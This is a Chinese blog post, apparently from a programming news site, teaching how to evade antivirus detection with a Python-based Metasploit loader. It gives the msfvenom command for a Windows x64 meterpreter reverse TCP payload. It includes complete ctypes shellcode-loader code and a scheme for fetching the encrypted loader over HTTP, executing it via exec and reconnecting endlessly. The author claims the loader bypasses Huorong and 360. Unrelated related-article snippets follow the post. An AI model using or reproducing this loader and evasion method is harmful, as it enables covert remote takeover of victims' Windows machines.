Msf之Python分离免杀

Msf之Python分离免杀

——XyLin.

成果展示:

VT查杀率:8/73 (virustotal.com)

火绒和360可以过掉,但Windows Defender点开就寄掉了

提示:我用360测的时候,免杀过了,但360同时也申报了,估计要不了多久就寄掉了

一:生成ShellCode代码

Msfvenom -p “Payload” lhost=“IP”lport=“port” -f python  > file.py

Windows操作系统现如今都是x64位

所以payload采取windows/x64/meterpreter/reverse_tcp

运行后得到shellcode,将其全部复制,丢进Python里面,进行加密处理

这里采用的是base64加密,base64的特征:加密后的内容中只会出现52个大小写字母、10个数字和”+”,”=”号, 这样的话可以把很多汉字,特殊字符转为字母便于后期自己写加密,

本文中采取的加密是我个人写的

将加密后的shellcode扔进shellcode加载器中

import ctypes
import base64buf = base64.b64decode("密文".encode("utf8"))shellcode = bytearray(buf)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

### 到此我来讲解一下我的免杀思路:

  1. 将shellcode转为base64编码,避免被静态查杀
  2. 把加载器的源代码加密后,放入txt文本中
  3. 通过Python自带的http服务开启网页,把txt放入网页,用requests来请求加载器
  4. 然后通过exec函数来执行
  5. 为了避免360查出加密内容,我们将加载器的源代码再次加密,得到密文字符串后,放 入新的文件中,并将其做成函数库的形式
  6. 在新的文件中调用上文的函数库,并用exec执行,即可免杀

### 加载器讲解:

// 所有的值都要经过ctypes.c_int()转换为C语言类型

1. 将生成的shellcode转为字节数组方便Ctypes函数库处理

shellcode = bytearray(buf)

 2. 设置内存的返回值为64位

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

3. 创建内存空间

  1. 第一个0表示系统自动分配内存,
  2. 第二个表示分配内存空间大小
  3. 0x3000是0x1000 || 0x2000表示即分配物理内存又分配虚拟内存
  4. 0x40表示该内存赋予可读写的权限
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))

4. 将shellcode字节数组变为字符数组,并放入缓冲区

字符数组的长度位shellcode的长度

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

5. 将shellcode代码移入开辟的新内存

  1. 第一个表示移动到哪个位置,需要内存空间转化为64位
  2. 第二个是需要移动的值
  3. 第三个是需要移动的字符长度
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))

6. 启动线程,执行shellcode

注:只要是内存空间,都转换为64位

  1. 第一个0表示线程系统默认的线程安全
  2. 第二个0表示线程默认的大小
  3. 第三个表示执行哪个内存空间的值
  4. 第四个0表示该内存不传参
  5. 第五个0表示立即执行
  6. 第六个0表示线程ID
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), # 线程默认安全ctypes.c_int(0), # 线程默认大小ctypes.c_uint64(ptr), # 需执行的内存空间ctypes.c_int(0), # 表示无传参ctypes.c_int(0), # 表示立即执行ctypes.pointer(ctypes.c_int(0))) # 表示线程ID

7. 无限等待线程结束

  1. 第一个表示需要等待的线程
  2. 第二个中的-1表示无限等待
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

讲完加载器,那么我们来讲解分离免杀

分离免杀:顾名思义就是加载器的代码与执行加载器的代码分开写

上面思路讲到加载器的代码加密后放入txt文本中

我们使用python自带的http服务把txt中的内容变成网页

python -m http.server "port"

后面使用requests.get()的形式把加密后的加载器给取下来,然后采取exec来执行加载器

由于代码中exec与密文的解密同时出现,导致会被杀软列入黑名单

所以我就想既然又要加密解密,又要exec函数,该用啥实现呢?

后面想到采用函数库调用的方式来实现

先将上述代码加密,然后放入新建的一个python文件中, 并把它制成函数

然后在用调用这个自定义函数,然后执行, 加一个try,来进行无限重连

以下为最终代码

成功上线!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/879785.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CentOS5.2中安装并设置TFTP服务

在CentOS5.2中安装并设置TFTP服务,下面安装TFTP服务必须能联网,因为是使用yum安装,如果使用rpm从光盘安装则不需要。下面是步骤: 安装TFTP服务器: yum install tftp-server 安装TFTP客户端: yum install tftp 执行上面的命令后会自动搜索相应的最新版软件并自动下…

【C++ Primer Plus习题】6.9

大家好,这里是国中之林! ❥前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站。有兴趣的可以点点进去看看← 问题: 解答: #include <iostream> #include <string> #include <…

2-99 基于matlab多尺度形态学提取眼前节组织

基于matlab多尺度形态学提取眼前节组织&#xff0c;通过应用不同尺度的结构元素进行边缘检测&#xff0c;再通过加权融合的思想来整合检测到的边缘&#xff0c;降低图像噪声的影响&#xff0c;提高边缘检测的精度。程序已调通&#xff0c;可直接运行。 下载源程序请点链接&…

SalescustomerController

目录 1、 SalescustomerController 1.1、 /// 查询 1.1.1、 CustomerCode tbSales.CustomerCode,//客户编号 1.1.2、 //客户名称 1.2、 /// 修改 using QXQPS.Models; using QXQPS.Vo; using System; using System.Collections.Generic; using System.Linq; us…

OpenAI o1解决了「Quiet-STaR」的挑战吗?

随着OpenAI o1近期的发布&#xff0c;业界讨论o1关联论文最多之一可能是早前这篇斯坦福大学和Notbad AI Inc的研究人员开发的Quiet-STaR&#xff0c;即让AI学会先安静的“思考”再“说话” &#xff0c;回想自己一年前对于这一领域的思考和探索&#xff0c;当初也将这篇论文进行…

Electron 图标修改

目录 1. 图片基本要求 2. 在main.js中配置icon 位置 ​3. 在package.json 中配置icon 位置 4. 问题&#xff1a;左上角图片 开发环境下显示&#xff0c;生产环境下不显示 1. 图片基本要求 图片格式为ico&#xff0c;图片像素像素为256*256&#xff1b; 将ico文件放在pub…

dbt seed 命令及应用示例

DBT-core是一个命令行工具&#xff0c;它使数据分析师和工程师能够更有效地转换仓库中的数据。dbt的一个强大特性是seed命令&#xff0c;它可以将CSV文件(称为“seed”)加载到数据仓库中。本教程将带你完成使用dbt seed命令的过程。 在dbt中&#xff0c;seed是可以加载到数据仓…

vue 中属性值上变量和字符串怎么拼接

在Vue 3中&#xff0c;可以使用模板字面量&#xff08;template literals&#xff09;或者表达式绑定&#xff08;directives&#xff09;来实现属性值上变量和字符串的拼接。 例如&#xff0c;假设你有一个变量text和一个字符串hello&#xff0c;你可以这样拼接它们&#xff…

C++编译环境(IDE)推荐及安装

IDE是什么 嗨嗨嗨&#xff0c;我又来水博文了 今天来给大家推荐几款好用的IDE IDE是集成开发环境&#xff08;Integrated Development Environment&#xff09;的缩写&#xff0c;是一种软件应用程序&#xff0c;提供了用于软件开发的各种工具和功能&#xff0c;包括代码编辑…

人工智能安全治理新篇章:《2024人工智能安全治理框架1.0版》深度解读@附20页PDF文件下载

在数字化浪潮席卷全球的今天&#xff0c;人工智能&#xff08;AI&#xff09;技术正以前所未有的速度融入我们的日常生活&#xff0c;从智能助手到自动驾驶&#xff0c;从医疗诊断到金融风控&#xff0c;AI的身影无处不在。然而&#xff0c;技术的双刃剑特性也让我们不得不面对…

螺栓与散装物体检测系统源码分享

螺栓与散装物体检测检测系统源码分享 [一条龙教学YOLOV8标注好的数据集一键训练_70全套改进创新点发刊_Web前端展示] 1.研究背景与意义 项目参考AAAI Association for the Advancement of Artificial Intelligence 项目来源AACV Association for the Advancement of Comput…

数据结构-3.3.栈的链式存储实现

一.链栈的定义&#xff1a; 二.总结&#xff1a;

解决服务器首次请求异常耗时问题

1. 问题描述 在我们的图像识别API服务中,我们遇到了一个棘手的问题:服务器在首次接收请求时,响应时间异常地长,经常导致超时错误。这不仅影响了用户体验,还可能导致系统不稳定。 现象: 测试接口在首次调用时出现超时后续请求则能正常响应复现方法: 只需在服务重启后或长时间…

【macOS】【Python】安装Python到虚拟环境的命令

【macOS】【Python】安装Python到虚拟环境的命令 这个命令是什么意思&#xff1a;conda create -n codeformer python3.8 -y 解读命令 conda create -n codeformer python3.8 -y 1.命令含义 这个命令是使用conda创建一个名为codeformer的虚拟环境&#xff0c; 并且在这个环境…

Solidwork角度尺寸标注

效果如下&#xff1a; 首先&#xff0c; 先选第一条边 然后选第二条边&#xff0c;即可

18.DHT11编程案例

温湿度传感器 产品概述 DHT11数字温湿度传感器是一款含有已校准数字信号输出的温湿度复合传感器&#xff0c;应用领域&#xff1a;暖通 空调&#xff1b;汽车&#xff1b;消费品&#xff1b;气象站&#xff1b;湿度调节器&#xff1b;除湿器&#xff1b;家电&#xff1b;医疗…

算法打卡:第十一章 图论part01

今日收获&#xff1a;图论理论基础&#xff0c;深搜理论基础&#xff0c;所有可达路径&#xff0c;广搜理论基础&#xff08;理论来自代码随想录&#xff09; 1. 图论理论基础 &#xff08;1&#xff09;邻接矩阵 邻接矩阵存储图&#xff0c;x和y轴的坐标表示节点的个数 优点…

[2025]基于微信小程序慢性呼吸系统疾病的健康管理(源码+文档+解答)

博主介绍&#xff1a; ✌我是阿龙&#xff0c;一名专注于Java技术领域的程序员&#xff0c;全网拥有10W粉丝。作为CSDN特邀作者、博客专家、新星计划导师&#xff0c;我在计算机毕业设计开发方面积累了丰富的经验。同时&#xff0c;我也是掘金、华为云、阿里云、InfoQ等平台…

开源模型应用落地-qwen模型小试-调用Qwen2-VL-7B-Instruct-更清晰地看世界-集成vLLM(二)

一、前言 学习Qwen2-VL ,为我们打开了一扇通往先进人工智能技术的大门。让我们能够深入了解当今最前沿的视觉语言模型的工作原理和强大能力。这不仅拓宽了我们的知识视野,更让我们站在科技发展的潮头,紧跟时代的步伐。 Qwen2-VL 具有卓越的图像和视频理解能力,以及多语言支…

计算机毕业设计 奖学金评定管理系统的设计与实现 Java实战项目 附源码+文档+视频讲解

博主介绍&#xff1a;✌从事软件开发10年之余&#xff0c;专注于Java技术领域、Python人工智能及数据挖掘、小程序项目开发和Android项目开发等。CSDN、掘金、华为云、InfoQ、阿里云等平台优质作者✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精…